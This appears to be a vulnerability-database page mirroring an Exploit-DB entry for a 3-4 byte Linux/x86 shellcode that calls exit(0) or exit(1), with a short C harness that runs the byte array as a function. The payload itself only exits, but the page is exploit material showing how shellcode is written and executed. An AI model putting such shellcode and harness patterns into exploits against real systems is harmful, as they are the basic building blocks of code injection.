Linux/x86 - exit(0) / exit(1) Shellcode (3/4 bytes)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057920 漏洞类型
发布时间 2009-06-18 更新时间 2009-06-18
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Linux_x86 CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/43650
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#include <stdio.h>

const char shellcode[]=
	"\x40"			// inc	%eax
//	"\x43"			// inc	%ebx	
	"\xcd\x80";		// int	$0x80

int main()
{
	printf	("\n[+] Yet conditional (%eax==0) Linux/x86 exit(0) 3 bytes or
exit(1) 4 bytes"
		"\n[+] Date: 18/06/2009"
		"\n[+] Author: TheWorm"
		"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
	(*(void (*)()) shellcode)();
	return 0;
}